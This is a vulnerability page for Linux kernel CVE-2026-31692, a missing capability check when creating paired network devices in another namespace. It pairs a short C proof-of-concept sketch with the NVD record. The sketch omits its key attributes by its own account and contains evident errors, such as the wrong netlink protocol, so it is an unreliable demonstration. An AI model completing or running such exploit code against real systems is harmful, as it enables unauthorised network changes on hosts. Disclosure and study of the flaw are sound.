CVE-2026-31692

#include <stdio.h> #include <string.h> #include <stdlib.h> #include <unistd.h> #include <sys/socket.h> #include <linux/netlink.h> #include <linux/rtnetlink.h> #include <arpa/inet.h> // This is a simplified PoC concept demonstrating the structure of the exploit. // It attempts to create a veth pair with the peer in init_net from a user namespace. // Compilation: gcc poc.c -o poc #define NETLINK_USER 31 void send_netlink_msg(int sock_fd) { struct nlmsghdr *nlh = NULL; struct sockaddr_nl src_addr, dest_addr; struct iovec iov; struct msghdr msg; char buffer[4096]; // Setup source address memset(&src_addr, 0, sizeof(src_addr)); src_addr.nl_family = AF_NETLINK; src_addr.nl_pid = getpid(); bind(sock_fd, (struct sockaddr*)&src_addr, sizeof(src_addr)); // Setup destination address (Kernel) memset(&dest_addr, 0, sizeof(dest_addr)); dest_addr.nl_family = AF_NETLINK; dest_addr.nl_pid = 0; // Kernel // Fill the netlink message header nlh = (struct nlmsghdr *)malloc(NLMSG_SPACE(4096)); memset(nlh, 0, NLMSG_SPACE(4096)); nlh->nlmsg_len = NLMSG_SPACE(4096); nlh->nlmsg_pid = getpid(); nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_CREATE | NLM_F_EXCL | NLM_F_ACK; nlh->nlmsg_type = RTM_NEWLINK; // Prepare ifinfomsg (Interface Info) struct ifinfomsg *ifi = (struct ifinfomsg *)NLMSG_DATA(nlh); ifi->ifi_family = AF_UNSPEC; ifi->ifi_type = ARPHRD_NETDEV; // ifi_change = 0xFFFFFFFF; // Adding attributes: IFLA_IFNAME, IFLA_INFO_DATA (for veth peer) // In a real exploit, specific RTA attributes would point to the peer netns fd. // This logic is omitted for brevity and safety. iov.iov_base = (void *)nlh; iov.iov_len = nlh->nlmsg_len; memset(&msg, 0, sizeof(msg)); msg.msg_name = (void *)&dest_addr; msg.msg_namelen = sizeof(dest_addr); msg.msg_iov = &iov; msg.msg_iovlen = 1; sendmsg(sock_fd, &msg, 0); printf("PoC message sent to kernel.\n"); } int main() { int sock_fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_USER); if (sock_fd < 0) { perror("Socket creation failed"); return -1; } // Requires unprivileged user namespace setup first // e.g. clone(CLONE_NEWUSER...) send_netlink_msg(sock_fd); close(sock_fd); return 0; }

{"cve": {"id": "CVE-2026-31692", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-04-30T11:16:20.860", "lastModified": "2026-05-06T20:05:55.800", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nrtnetlink: add missing netlink_ns_capable() check for peer netns\n\nrtnl_newlink() lacks a CAP_NET_ADMIN capability check on the peer\nnetwork namespace when creating paired devices (veth, vxcan,\nnetkit). This allows an unprivileged user with a user namespace\nto create interfaces in arbitrary network namespaces, including\ninit_net.\n\nAdd a netlink_ns_capable() check for CAP_NET_ADMIN in the peer\nnamespace before allowing device creation to proceed."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.6.33", "versionEndExcluding": "6.18.24", "matchCriteriaId": "6EBA181D-17F3-49DD-851C-CB693F3EFF3D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.14", "matchCriteriaId": "D6A8A074-BBF4-4803-ABED-519A839435BB"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "F666C8D8-6538-46D4-B318-87610DE64C34"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc4:*:*:*:*:*:*", "matchCriteriaId": "02259FDA-961B-47BC-AE7F-93D7EC6E90C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc5:*:*:*:*:*:*", "matchCriteriaId": "58A9FEFF-C040-420D-8F0A-BFDAAA1DF258"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc6:*:*:*:*:*:*", "matchCriteriaId": "1D2315C0-D46F-4F85-9754-F9E5E11374A6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc7:*:*:*:*:*:*", "matchCriteriaId": "512EE3A8-A590-4501-9A94-5D4B268D6138"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/0975b64ffb34560042090a5986c3a02e6c80f36f", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/7b735ef81286007794a227ce2539419479c02a5f", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/d04cc16d3624218a5458b2b664ae431f1b3b334d", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}